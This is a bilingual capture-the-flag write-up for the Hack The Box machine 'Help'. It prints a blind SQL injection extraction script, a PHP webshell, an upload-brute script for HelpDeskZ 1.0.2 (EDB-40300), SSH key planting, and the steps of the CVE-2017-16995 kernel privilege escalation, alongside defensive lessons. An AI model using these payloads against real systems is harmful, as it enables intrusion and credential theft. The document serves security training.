Help
Executive summary — Help chains an unauthenticated GraphQL endpoint that leaks credentials with a blind SQL injection in HelpDeskZ 1.0.2 to escalate from end user to administrator, re-enable a file upload blocked by a whitelist (EDB-40300) and run code as the system user
help— ending in root by exploiting a sign-extension bug in the kernel's eBPF verifier (CVE-2017-16995). The interesting part isn't any single step, but that the public one-click exploit doesn't work as-is: you first have to win application-level admin privilege to re-enable it.
| Platform | Hack The Box |
| Operating system | Linux (Ubuntu 16.04.5 LTS) |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.230.159 |
Attack map
[3000/HTTP] Unauthenticated GraphQL -> leaks credentials
| helpme@helpme.com : 5d3c9318... (MD5) -> godhelpmeplz
v
[80/HTTP] /support -- HelpDeskZ 1.0.2 -- logged in as end user
| Blind SQLi (ticket_id / msg_id) -> admin SHA-1 hash -> Welcome1
v
[staff panel] Settings -> Tickets -- upload whitelist
| "php" added by hand
v
[RCE] EDB-40300 -- PHP webshell -> uid=help (user.txt)
|
v
[ROOT] CVE-2017-16995 -- eBPF verifier sign-extension bug -> root.txt
1. Reconnaissance
nmap -p- --min-rate 3000 -Pn -oA scans/all-ports 10.129.230.159
nmap -sCV -p22,80,3000 -Pn -oA scans/services 10.129.230.159
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8)
A response TTL of 63 (one hop below 64) confirms a Linux stack, and the OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 banner pins the distro to Ubuntu 16.04 (Xenial) — which already tells us the kernel will be on the 4.4 branch, worth keeping for privilege escalation. Port 80 redirects to the vhost help.htb:
echo '10.129.230.159 help.htb' | sudo tee -a /etc/hosts
Methodology note: run the full
-p-scan first. A default 1000-port scan would have found 22 and 80, but port 3000 — the actual way in — would have been missed.
Resumen ejecutivo — Help encadena un endpoint GraphQL sin autenticación que filtra credenciales con una inyección SQL ciega en HelpDeskZ 1.0.2 para escalar de usuario final a administrador, reactivar una subida de fichero que una whitelist bloqueaba (EDB-40300) y ejecutar código como el usuario del sistema
help— que termina en root explotando un fallo de extensión de signo en el verificador de eBPF del kernel (CVE-2017-16995). Lo más interesante no es ningún paso aislado, sino que el exploit público de un clic no funciona tal cual: hay que ganar primero privilegio administrativo dentro de la propia aplicación para reactivarlo.
| Plataforma | Hack The Box |
| Sistema operativo | Linux (Ubuntu 16.04.5 LTS) |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.230.159 |
Mapa del ataque
[3000/HTTP] GraphQL sin auth -> filtra credenciales
| helpme@helpme.com : 5d3c9318... (MD5) -> godhelpmeplz
v
[80/HTTP] /support -- HelpDeskZ 1.0.2 -- login como usuario final
| SQLi ciega (ticket_id / msg_id) -> hash SHA-1 de admin -> Welcome1
v
[panel de staff] Settings -> Tickets -- whitelist de subidas
| se añade "php" a mano
v
[RCE] EDB-40300 -- webshell PHP -> uid=help (user.txt)
|
v
[ROOT] CVE-2017-16995 -- sign-extension en el verificador eBPF -> root.txt
1. Reconocimiento
nmap -p- --min-rate 3000 -Pn -oA scans/all-ports 10.129.230.159
nmap -sCV -p22,80,3000 -Pn -oA scans/services 10.129.230.159
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8)
El TTL de las respuestas (63, un salto por debajo de 64) confirma pila Linux, y el banner OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 fija la distro en Ubuntu 16.04 (Xenial) — con eso ya sabemos que el kernel será de la rama 4.4, dato que se guarda para la escalada de privilegios. El puerto 80 redirige al vhost help.htb:
echo '10.129.230.159 help.htb' | sudo tee -a /etc/hosts
Detalle de metodología: hacer primero el
-p-completo. Un escaneo de los 1000 puertos por defecto habría encontrado el 22 y el 80, pero el 3000 —la puerta de entrada real— se habría perdido.
2. Port 3000 — unauthenticated GraphQL
curl -s http://10.129.230.159:3000/
{"message":"Hi Shiv, To get access please find the credentials with given query"}
An Express endpoint returning JSON and talking about a "query" points at GraphQL:
curl -s http://10.129.230.159:3000/graphql
{"errors":[{"message":"GET query missing."}]} # 400, but the endpoint exists
Introspection is the GraphQL feature that lets a client ask the server for its own schema. Essential in development, it should be off in production — it's equivalent to publishing the full API documentation to anyone who asks:
curl -s -X POST http://10.129.230.159:3000/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{__schema{queryType{name} types{name fields{name type{name kind}}}}}"}' | jq
The schema is tiny: a single User type with two fields, username and password, and a root query user:
curl -s -X POST http://10.129.230.159:3000/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{user{username password}}"}' | jq
{"data":{"user":{"username":"helpme@helpme.com",
"password":"5d3c93182bb20f07b994a7f617e99cff"}}}
32 hex characters → unsalted MD5:
hashcat -m 0 -a 0 5d3c93182bb20f07b994a7f617e99cff /usr/share/wordlists/rockyou.txt
# 5d3c93182bb20f07b994a7f617e99cff : godhelpmeplz
Why this matters outside the CTF. There isn't one vulnerability here, there are two stacked: (1) introspection reveals what to ask, and (2) the
userresolver checks absolutely nothing before answering. Turning introspection off would only have slowed the attacker down a few minutes —username/passwordare guessable field names — not stopped them. Introspection is defense in depth; authorization in the resolver is the real control.
3. Port 80 — HelpDeskZ 1.0.2
feroxbuster -u http://help.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-x php,txt -t 50
301 http://help.htb/support
/support serves a HelpDeskZ install. Its README.md was left reachable after deployment:
curl -s http://help.htb/support/README.md
Version: 1.0.2 from 1st June 2015
Developed by: Evolution Script S.A.C.
Unsupported since 2015. Looking for known exploits:
searchsploit helpdeskz
# HelpDeskZ 1.0.2 - Arbitrary File Upload php/webapps/40300.py
Logging in at http://help.htb/support/?v=login with helpme@helpme.com : godhelpmeplz works. We're now an authenticated end user of the helpdesk.
The EDB-40300 bug. When a ticket attachment is uploaded, HelpDeskZ 1.0.2 saves it renamed as md5(original_name + time()) keeping the original extension — a fully predictable name if you control the original name (you do) and know the server's time to the second (from the Date header of any HTTP response), and the file lands inside the docroot. The public exploit simply uploads shell.php and brute-forces the last N seconds until it hits the right hash. But attaching sh.php returns File is not allowed. — a whitelist is active. Enumerating it extension by extension surfaces two distinct error messages, an oracle in itself:
| File tried | Response | Interpretation |
|---|---|---|
sh.php, sh.phtml, sh.php5, sh.svg... | File is not allowed. | Extension parsed fine, not on the whitelist |
sh.php., sh.php%20, sh.php%00.png | Invalid file extension. | Parsing returned an empty/invalid extension |
sh.jpg, sh.png, sh.txt | accepted | The real whitelist |
Effective whitelist: jpeg, jpg, png, txt. Double extensions, null bytes and trailing dots don't work (PHP 5.6+ no longer has the null-byte path bug). Another way in is needed.
Time-saving detail: the captcha only regenerates when the image is requested, not on every POST. Solve it once by hand and reuse that same value across hundreds of requests in the same session — without this, enumerating extensions or brute-forcing the timestamp would be impractical. And a captcha that doesn't invalidate on use isn't a captcha.
Blind SQL injection in the attachment download. Vulnerable code, controllers/view_tickets_controller.php:
$attachment = $db->fetchRow("SELECT *, COUNT(id) AS total FROM ".TABLE_PREFIX."attachments
WHERE id=" . $db->real_escape_string($params[2]) . "
AND ticket_id=" . $params[0] . "
AND msg_id=" . $params[3]);
Of the three parameters, only $params[2] goes through real_escape_string(). ticket_id and msg_id are concatenated raw, and being numeric with no quotes, there isn't even a literal to escape out of. The download URL maps to param[]=ticket_id¶m[]=action¶m[]=att_id¶m[]=msg_id. The oracle is clean — a matching row serves the file, otherwise an HTML 404, and the most stable signal to automate on is the Content-Type:
…¶m[]=6 and 1=1 → 200, Content-Type: image/jpeg
…¶m[]=6 and 1=2 → 200, Content-Type: text/html
A small custom binary-search script (sqlmap chokes on repeated array-style parameters like param[]) extracts data at ~7 requests per character — far quieter than the noise of a generic tool:
#!/usr/bin/env python3
import requests, string
from urllib.parse import quote
BASE = ('http://help.htb/support/?v=view_tickets&action=ticket'
'¶m[]=4¶m[]=attachment¶m[]=1¶m[]=')
S = requests.Session()
S.cookies.set('PHPSESSID', 'YOUR_SESSION_HERE')
def truth(cond: str) -> bool:
r = S.get(BASE + quote(f'6 and ({cond})'))
return 'image' in r.headers.get('Content-Type', '')
def length(expr: str, hi: int = 256) -> int:
lo = 0
while lo < hi: # binary search over length()
mid = (lo + hi) // 2
if truth(f'length(({expr}))>{mid}'):
lo = mid + 1
else:
hi = mid
return lo
def extract(expr: str) -> str:
n, out = length(expr), ''
for i in range(1, n + 1):
lo, hi = 31, 127
while lo < hi: # binary search over ascii()
mid = (lo + hi) // 2
if truth(f'ascii(substr(({expr}),{i},1))>{mid}'):
lo = mid + 1
else:
hi = mid
out += chr(lo)
return out
for q in ('database()', 'user()', 'version()',
"(select group_concat(id,0x3a,username,0x3a,password) from staff)"):
print(f'{q} = {extract(q)}')
database() → support
user() → root@localhost
version() → 5.7.25-0ubuntu0.16.04.2
staff → 1:admin:d318f44739dced66793b1a603028133a76ae680e
user() = root@localhost is tempting (load_file(), INTO OUTFILE?), but load_file('/etc/passwd') returns NULL: MySQL 5.7 on Ubuntu ships with secure_file_priv pointing to /var/lib/mysql-files/ by default, which kills both primitives outside that directory. Being MySQL root doesn't mean usable FILE privilege — a dead end, but two requests confirm it.
The admin hash is 40 hex characters → unsalted SHA-1:
hashcat -m 100 -a 0 d318f44739dced66793b1a603028133a76ae680e /usr/share/wordlists/rockyou.txt
# d318f44739dced66793b1a603028133a76ae680e : Welcome1
The staff panel lives on a separate entry point: http://help.htb/support/?v=staff, log in with admin : Welcome1. Under Settings → Tickets there's an "Allowed file types" table editable straight from the UI — the whitelist that was blocking us is just a database row the administrator can change:
# Staff session in s.txt (curl -c s.txt after login)
for EXT in php phtml; do
curl -s -b s.txt -X POST \
"http://help.htb/support/?v=staff&action=settings¶m[]=tickets¶m[]=insert_filetype" \
-d "do=insert&type=${EXT}&size=0&btn=Submit" -o /dev/null
done
With php on the whitelist, EDB-40300 is exploitable again. The server time is recorded right before and after submitting the ticket with the attachment, and that window is scanned computing md5(name + epoch) until a HEAD returns 200:
import requests, hashlib, email.utils
from datetime import datetime, timezone
URL, UP, NAME = 'http://help.htb/support/', 'http://help.htb/support/uploads/tickets/', 'pwn.php'
SHELL = b'<?php if(isset($_REQUEST["c"])){echo "<pre>";system($_REQUEST["c"]);echo "</pre>";} ?>'
s = requests.Session()
# ... login as helpme@helpme.com and solve the captcha by hand ...
def server_time(r):
return int(email.utils.parsedate_to_datetime(r.headers['Date'])
.replace(tzinfo=timezone.utc).timestamp())
t0 = server_time(s.head(URL))
r = s.post(URL + '?v=submit_ticket',
data={'department':'1','subject':'x','message':'x','captcha':CAP,'do':'submit'},
files={'attachment[]': (NAME, SHELL, 'image/jpeg')})
t1 = server_time(r)
for t in range(t1 + 3, t0 - 10, -1):
h = hashlib.md5((NAME + str(t)).encode()).hexdigest()
if s.head(f'{UP}{h}.php').status_code == 200:
print(f'[+] SHELL: {UP}{h}.php'); break
[+] SHELL: http://help.htb/support/uploads/tickets/bf9924ea549f09f20f680a84dea2742f.php
4. Access as help
curl -s 'http://help.htb/support/uploads/tickets/bf9924ea549f09f20f680a84dea2742f.php?c=id'
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),115(lpadmin),116(sambashare)
Notable detail: Apache doesn't run as www-data, but as help, a real system user with a home directory and shell — a misconfiguration on its own, which here hands over the flag directly:
curl -s '.../bf9924ea549f09f20f680a84dea2742f.php?c=cat+/home/help/user.txt'
a1d3e5ef0f5d490cebcaa2ae05ffffce
user.txt: a1d3e5ef0f5d490cebcaa2ae05ffffce
A webshell without a TTY is awkward for compiling exploits. With help having a valid shell and port 22 open, the cleanest move is planting a key through the webshell itself:
ssh-keygen -t ed25519 -f ./help_key -N ''
# via the webshell (URL-encoded):
mkdir -p /home/help/.ssh
echo 'ssh-ed25519 AAAA...' > /home/help/.ssh/authorized_keys
chmod 700 /home/help/.ssh && chmod 600 /home/help/.ssh/authorized_keys
ssh -i ./help_key help@10.129.230.159
5. Post-exploitation enumeration
Everything checked with no result is as much a part of the writeup as what actually worked:
sudo -l # asks for a password; help's is unknown
find / -perm -4000 -type f 2>/dev/null # only Xenial's standard SUID binaries
getcap -r / 2>/dev/null # cap_net_raw+ep on mtr/traceroute6 → harmless
crontab -l; ls -la /etc/cron* # nothing custom
netstat -tulpn # 3306 only on loopback
What does point at a vector:
uname -a
# Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 16.04.5 LTS"
which gcc && gcc --version # /usr/bin/gcc → 5.4.0
A February 2018 kernel on a box reporting itself as 16.04.5 (August 2018) means the OS got updated but the kernel was never rebooted onto a newer one. And gcc present on a production server is a finding in its own right.
6. Privilege escalation — CVE-2017-16995
CVE-2017-16995 is a sign-extension bug in the Linux kernel's eBPF verifier, specifically in check_alu_op() (kernel/bpf/verifier.c). Before letting a userspace-loaded BPF program run, the verifier simulates its execution and tracks, for every register, a range of possible values (min/max) it later uses to decide whether a memory access computed from that register falls within safe bounds. When processing a BPF_ALU64|BPF_MOV|BPF_K instruction — moving a 32-bit immediate into a 64-bit register —, the range calculation didn't account for the fact that the real, runtime extension is sign extension: an immediate with bit 31 set (say 0x80000000) actually becomes a huge, negative 64-bit value that the verifier's computed range never considered possible. That gap between the range the verifier *believes* is valid for the register and its real runtime value is what lets a userspace program craft a pointer that passes the verifier's bounds checks while actually pointing outside the intended structure. The result is arbitrary kernel memory read/write from an unprivileged user, and from there overwriting the process's cred structure is trivial. Affects kernels 4.9–4.14.8 and the 4.4 branch with the eBPF backport — on Xenial, up to and including 4.4.0-116 (fixed in 4.4.0-117, USN-3583-1). CVSS v3.1: 7.8. Our kernel is exactly 4.4.0-116.
searchsploit -m linux/local/45010.c
scp -i ./help_key 45010.c help@10.129.230.159:/tmp/e.c
ssh -i ./help_key help@10.129.230.159
cd /tmp && gcc e.c -o e && chmod +x e
./e
task_struct = ffff88003a0e5b00
uidptr = ffff880039fdc784
spawning root shell
root@help:/tmp# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),...
Run from a non-interactive session, it needs its input fed via stdin:
ssh -i ./help_key help@10.129.230.159 'echo "id; cat /root/root.txt" | /tmp/e'
4d0001dda843b9b2c80241d34c4d9f44
root.txt: 4d0001dda843b9b2c80241d34c4d9f44
A note on kernel exploits. In a CTF they get fired off without a second thought. In a real pentest, a kernel exploit can crash the box — CVE-2017-16995 writes directly into kernel structures, and an offset mismatch triggers a panic. It must be explicitly in scope, run outside critical hours, and, when possible, validated first on an identical VM.
7. Dead ends
- Upload whitelist bypass — double extension, null byte, trailing dot/space,
.htaccess,.phar, SVG with an XML payload: all blocked. load_file()/INTO OUTFILEvia the SQLi asroot@localhost— killed bysecure_file_priv.- CVE-2016-6210 (OpenSSH < 7.3 user enumeration) — theoretically applicable, but irrelevant: the target username was already known.
- SSH brute force against
helpwith the discovered credentials — negative, and dropped as too noisy. - SUID/capabilities/cron escalation — nothing exploitable.
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Node/Express API :3000 | Unauthorized GraphQL query + introspection enabled | Credential leak (unsalted MD5) |
| App access | HelpDeskZ 1.0.2 — view_tickets_controller.php | Blind SQLi on ticket_id/msg_id (CWE-89) | admin SHA-1 hash → staff panel |
| App-level escalation | HelpDeskZ 1.0.2 — upload whitelist | Whitelist editable from the staff UI + predictable attachment name (EDB-40300) | RCE as help (user.txt) |
| PrivEsc | Ubuntu 16.04.5 kernel / 4.4.0-116 | CVE-2017-16995 — eBPF verifier sign-extension | Root (root.txt) |
Lessons learned
- Turning off GraphQL introspection is defense in depth, not the real control: authorization has to live in every resolver, never rely on the schema staying secret.
- A captcha that doesn't invalidate on verification (only when the image regenerates) doesn't stop anything — it lets the same value be reused across hundreds of automated requests.
- An upload whitelist editable from within the application itself (a database row, not infrastructure configuration) is only as strong as the access control on the panel that manages it — here, an upstream SQLi bypassed it completely.
- A web service running as a real system user (instead of a shell-less service account) turns any application-level RCE into immediate persistent access.
- Letting the kernel fall behind while the OS itself gets patched (16.04.5 running a 16.04.0 kernel) leaves months-long windows for already-public privesc exploits.
2. Puerto 3000 — GraphQL sin autenticación
curl -s http://10.129.230.159:3000/
{"message":"Hi Shiv, To get access please find the credentials with given query"}
Un endpoint Express que devuelve JSON y habla de "query" apunta a GraphQL:
curl -s http://10.129.230.159:3000/graphql
{"errors":[{"message":"GET query missing."}]} # 400, pero el endpoint existe
La introspección es la funcionalidad de GraphQL que permite a un cliente pedirle al servidor su propio esquema. Imprescindible en desarrollo, debería estar apagada en producción, porque equivale a publicar la documentación completa de la API a cualquiera que la pida:
curl -s -X POST http://10.129.230.159:3000/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{__schema{queryType{name} types{name fields{name type{name kind}}}}}"}' | jq
El esquema es minúsculo: un solo tipo User con dos campos, username y password, y una query raíz user:
curl -s -X POST http://10.129.230.159:3000/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{user{username password}}"}' | jq
{"data":{"user":{"username":"helpme@helpme.com",
"password":"5d3c93182bb20f07b994a7f617e99cff"}}}
32 caracteres hexadecimales → MD5 sin salt:
hashcat -m 0 -a 0 5d3c93182bb20f07b994a7f617e99cff /usr/share/wordlists/rockyou.txt
# 5d3c93182bb20f07b994a7f617e99cff : godhelpmeplz
Por qué esto importa fuera del CTF. No hay una sola vulnerabilidad aquí, hay dos apiladas: (1) la introspección revela qué preguntar, y (2) el resolver
userno comprueba absolutamente nada antes de responder. Apagar la introspección solo habría ralentizado al atacante unos minutos —username/passwordson adivinables—, pero no lo habría detenido. La introspección es defensa en profundidad; la autorización en el resolver es el control real.
3. Puerto 80 — HelpDeskZ 1.0.2
feroxbuster -u http://help.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-x php,txt -t 50
301 http://help.htb/support
/support sirve una instalación de HelpDeskZ. El README.md del proyecto quedó accesible tras la instalación:
curl -s http://help.htb/support/README.md
Version: 1.0.2 from 1st June 2015
Developed by: Evolution Script S.A.C.
Sin soporte desde 2015. Buscando exploits conocidos:
searchsploit helpdeskz
# HelpDeskZ 1.0.2 - Arbitrary File Upload php/webapps/40300.py
Login en http://help.htb/support/?v=login con helpme@helpme.com : godhelpmeplz → funciona. Ya somos un usuario final autenticado del helpdesk.
El bug de EDB-40300. Al adjuntar un fichero a un ticket, HelpDeskZ 1.0.2 lo guarda renombrándolo con md5(nombre_original + time()) conservando la extensión: un nombre totalmente predecible si conoces el nombre original (lo eliges tú) y la hora del servidor (la da la cabecera Date de cualquier respuesta HTTP), y los ficheros quedan dentro del docroot. El exploit público simplemente sube shell.php y prueba los últimos N segundos hasta dar con el hash correcto. Pero al adjuntar sh.php aparece File is not allowed. — hay una whitelist activa. Enumerándola extensión a extensión aparecen dos mensajes de error distintos, un oráculo en sí mismo:
| Fichero probado | Respuesta | Interpretación |
|---|---|---|
sh.php, sh.phtml, sh.php5, sh.svg... | File is not allowed. | Extensión reconocida, fuera de whitelist |
sh.php., sh.php%20, sh.php%00.png | Invalid file extension. | Parseo devolvió extensión vacía/inválida |
sh.jpg, sh.png, sh.txt | aceptado | Whitelist real |
Whitelist efectiva: jpeg, jpg, png, txt. Doble extensión, byte nulo y punto final no pasan (PHP 5.6+ ya no es vulnerable al null byte en rutas). Hace falta otra vía.
Detalle que ahorra mucho tiempo: el captcha solo se regenera cuando se pide la imagen, no en cada POST. Se resuelve una vez a mano y ese mismo valor se reutiliza en cientos de peticiones dentro de la misma sesión — sin esto, enumerar extensiones o forzar el timestamp sería inviable. De paso, un captcha que no se invalida al usarse no es un captcha.
SQL injection ciega en la descarga de adjuntos. Código vulnerable, controllers/view_tickets_controller.php:
$attachment = $db->fetchRow("SELECT *, COUNT(id) AS total FROM ".TABLE_PREFIX."attachments
WHERE id=" . $db->real_escape_string($params[2]) . "
AND ticket_id=" . $params[0] . "
AND msg_id=" . $params[3]);
De los tres parámetros, solo $params[2] pasa por real_escape_string(). ticket_id y msg_id se concatenan crudos, y al ser numéricos sin comillas ni hace falta escapar de un literal. La URL de descarga mapea así: param[]=ticket_id¶m[]=acción¶m[]=att_id¶m[]=msg_id. El oráculo es limpio — si la consulta devuelve fila, se sirve el fichero; si no, cae en un 404 HTML, y la señal más estable para automatizar es el Content-Type:
…¶m[]=6 and 1=1 → 200, Content-Type: image/jpeg
…¶m[]=6 and 1=2 → 200, Content-Type: text/html
Un script propio de búsqueda binaria (sqlmap se atraganta con parámetros en formato array param[] repetido) para extraer datos ~7 peticiones por carácter, mucho más discreto que el ruido de una herramienta genérica:
#!/usr/bin/env python3
import requests, string
from urllib.parse import quote
BASE = ('http://help.htb/support/?v=view_tickets&action=ticket'
'¶m[]=4¶m[]=attachment¶m[]=1¶m[]=')
S = requests.Session()
S.cookies.set('PHPSESSID', 'TU_SESION_AQUI')
def truth(cond: str) -> bool:
r = S.get(BASE + quote(f'6 and ({cond})'))
return 'image' in r.headers.get('Content-Type', '')
def length(expr: str, hi: int = 256) -> int:
lo = 0
while lo < hi: # búsqueda binaria sobre length()
mid = (lo + hi) // 2
if truth(f'length(({expr}))>{mid}'):
lo = mid + 1
else:
hi = mid
return lo
def extract(expr: str) -> str:
n, out = length(expr), ''
for i in range(1, n + 1):
lo, hi = 31, 127
while lo < hi: # búsqueda binaria sobre ascii()
mid = (lo + hi) // 2
if truth(f'ascii(substr(({expr}),{i},1))>{mid}'):
lo = mid + 1
else:
hi = mid
out += chr(lo)
return out
for q in ('database()', 'user()', 'version()',
"(select group_concat(id,0x3a,username,0x3a,password) from staff)"):
print(f'{q} = {extract(q)}')
database() → support
user() → root@localhost
version() → 5.7.25-0ubuntu0.16.04.2
staff → 1:admin:d318f44739dced66793b1a603028133a76ae680e
user() = root@localhost es tentador (¿load_file(), INTO OUTFILE?), pero load_file('/etc/passwd') devuelve NULL: MySQL 5.7 en Ubuntu trae secure_file_priv apuntando a /var/lib/mysql-files/ por defecto, lo que anula ambas vías fuera de ese directorio. Ser root en MySQL no equivale a tener FILE utilizable — callejón sin salida, pero comprobarlo cuesta dos peticiones.
El hash de admin son 40 caracteres hex → SHA-1 sin salt:
hashcat -m 100 -a 0 d318f44739dced66793b1a603028133a76ae680e /usr/share/wordlists/rockyou.txt
# d318f44739dced66793b1a603028133a76ae680e : Welcome1
El panel de staff está en un punto de entrada distinto: http://help.htb/support/?v=staff, login con admin : Welcome1. En Settings → Tickets hay una tabla "Allowed file types" editable desde la propia UI — la whitelist que bloqueaba es un dato en base de datos que el administrador puede modificar:
# Sesión de staff en s.txt (curl -c s.txt tras el login)
for EXT in php phtml; do
curl -s -b s.txt -X POST \
"http://help.htb/support/?v=staff&action=settings¶m[]=tickets¶m[]=insert_filetype" \
-d "do=insert&type=${EXT}&size=0&btn=Submit" -o /dev/null
done
Con php en la whitelist, EDB-40300 vuelve a ser explotable. Se registra la hora del servidor justo antes y después de subir el ticket con el adjunto, y se recorre esa ventana calculando md5(nombre + epoch) hasta que un HEAD devuelva 200:
import requests, hashlib, email.utils
from datetime import datetime, timezone
URL, UP, NAME = 'http://help.htb/support/', 'http://help.htb/support/uploads/tickets/', 'pwn.php'
SHELL = b'<?php if(isset($_REQUEST["c"])){echo "<pre>";system($_REQUEST["c"]);echo "</pre>";} ?>'
s = requests.Session()
# ... login como helpme@helpme.com y resolución manual del captcha ...
def server_time(r):
return int(email.utils.parsedate_to_datetime(r.headers['Date'])
.replace(tzinfo=timezone.utc).timestamp())
t0 = server_time(s.head(URL))
r = s.post(URL + '?v=submit_ticket',
data={'department':'1','subject':'x','message':'x','captcha':CAP,'do':'submit'},
files={'attachment[]': (NAME, SHELL, 'image/jpeg')})
t1 = server_time(r)
for t in range(t1 + 3, t0 - 10, -1):
h = hashlib.md5((NAME + str(t)).encode()).hexdigest()
if s.head(f'{UP}{h}.php').status_code == 200:
print(f'[+] SHELL: {UP}{h}.php'); break
[+] SHELL: http://help.htb/support/uploads/tickets/bf9924ea549f09f20f680a84dea2742f.php
4. Acceso como help
curl -s 'http://help.htb/support/uploads/tickets/bf9924ea549f09f20f680a84dea2742f.php?c=id'
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),115(lpadmin),116(sambashare)
Detalle importante: Apache no corre como www-data, sino como help, un usuario real del sistema con home y shell — un fallo de configuración por sí solo, que aquí regala el flag directamente:
curl -s '.../bf9924ea549f09f20f680a84dea2742f.php?c=cat+/home/help/user.txt'
a1d3e5ef0f5d490cebcaa2ae05ffffce
user.txt: a1d3e5ef0f5d490cebcaa2ae05ffffce
Una webshell sin TTY es incómoda para compilar exploits. Con help teniendo shell válida y el 22 abierto, lo más limpio es plantar una clave vía la propia webshell:
ssh-keygen -t ed25519 -f ./help_key -N ''
# vía webshell (URL-encoded):
mkdir -p /home/help/.ssh
echo 'ssh-ed25519 AAAA...' > /home/help/.ssh/authorized_keys
chmod 700 /home/help/.ssh && chmod 600 /home/help/.ssh/authorized_keys
ssh -i ./help_key help@10.129.230.159
5. Enumeración post-explotación
Todo lo comprobado sin resultado es tan parte del writeup como lo que sí funcionó:
sudo -l # pide contraseña; la de help es desconocida
find / -perm -4000 -type f 2>/dev/null # sólo binarios SUID estándar de Xenial
getcap -r / 2>/dev/null # cap_net_raw+ep en mtr/traceroute6 → inofensivo
crontab -l; ls -la /etc/cron* # nada personalizado
netstat -tulpn # 3306 sólo en loopback
Lo que sí apunta a un vector:
uname -a
# Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 16.04.5 LTS"
which gcc && gcc --version # /usr/bin/gcc → 5.4.0
Un kernel de febrero de 2018 en una máquina que dice ser 16.04.5 (agosto 2018) significa que el sistema se actualizó pero el kernel no se reinició. Y gcc presente en un servidor de producción es otro hallazgo por derecho propio.
6. Escalada a root — CVE-2017-16995
CVE-2017-16995 es un error de extensión de signo en el verificador de eBPF del kernel Linux, concretamente en check_alu_op() (kernel/bpf/verifier.c). Antes de dejar correr un programa BPF cargado desde espacio de usuario, el verificador simula su ejecución y mantiene, para cada registro, un rango de valores posibles (mínimo/máximo) con el que decide más adelante si un acceso a memoria calculado a partir de ese registro cae dentro de límites seguros. Al procesar una instrucción BPF_ALU64|BPF_MOV|BPF_K — mover un inmediato de 32 bits a un registro de 64 bits —, el cálculo de ese rango no tenía en cuenta que la extensión real, en tiempo de ejecución, es con signo: un inmediato con el bit 31 activado (por ejemplo 0x80000000) se convierte de verdad en un valor de 64 bits enorme y negativo que el rango calculado por el verificador nunca contempló como posible. Esa divergencia entre el rango que el verificador *cree* válido para el registro y su valor real en ejecución es lo que permite construir, en espacio de usuario, un puntero que pasa las comprobaciones de límites del verificador pero que en realidad apunta fuera de la estructura esperada. El resultado es lectura y escritura arbitraria de memoria del kernel desde un usuario sin privilegios, y de ahí a sobrescribir las credenciales del proceso (cred) es trivial. Afecta a kernels 4.9–4.14.8 y a la rama 4.4 con el backport de eBPF — en Xenial, hasta 4.4.0-116 incluido (corregido en 4.4.0-117, USN-3583-1). CVSS v3.1: 7.8. Nuestro kernel es exactamente 4.4.0-116.
searchsploit -m linux/local/45010.c
scp -i ./help_key 45010.c help@10.129.230.159:/tmp/e.c
ssh -i ./help_key help@10.129.230.159
cd /tmp && gcc e.c -o e && chmod +x e
./e
task_struct = ffff88003a0e5b00
uidptr = ffff880039fdc784
spawning root shell
root@help:/tmp# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),...
Ejecutado desde una sesión no interactiva se soluciona alimentándola por stdin:
ssh -i ./help_key help@10.129.230.159 'echo "id; cat /root/root.txt" | /tmp/e'
4d0001dda843b9b2c80241d34c4d9f44
root.txt: 4d0001dda843b9b2c80241d34c4d9f44
Nota sobre exploits de kernel. En un CTF se lanzan sin pensar. En un pentest real, un exploit de kernel puede tumbar la máquina — CVE-2017-16995 escribe directamente en estructuras del kernel y un fallo de offsets provoca un pánico. Debe estar autorizado explícitamente en el alcance, ejecutarse fuera de horario crítico y, si es posible, validarse antes en una VM idéntica.
7. Callejones sin salida
- Bypass de la whitelist de subida — doble extensión, byte nulo, punto/espacio final,
.htaccess,.phar, SVG con payload XML: todo bloqueado. load_file()/INTO OUTFILEvía la SQLi siendoroot@localhost— anulado porsecure_file_priv.- CVE-2016-6210 (enumeración de usuarios por OpenSSH < 7.3) — teóricamente aplicable, pero irrelevante: el usuario objetivo ya se conocía.
- Fuerza bruta de SSH contra
helpcon las credenciales encontradas — negativo, y descartado por ruidoso. - Escalada por SUID/capabilities/cron — nada explotable.
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | API Node/Express :3000 | Query GraphQL sin autorización + introspección habilitada | Filtrado de credenciales (MD5 sin salt) |
| Acceso app | HelpDeskZ 1.0.2 — view_tickets_controller.php | SQLi ciega en ticket_id/msg_id (CWE-89) | Hash SHA-1 de admin → panel de staff |
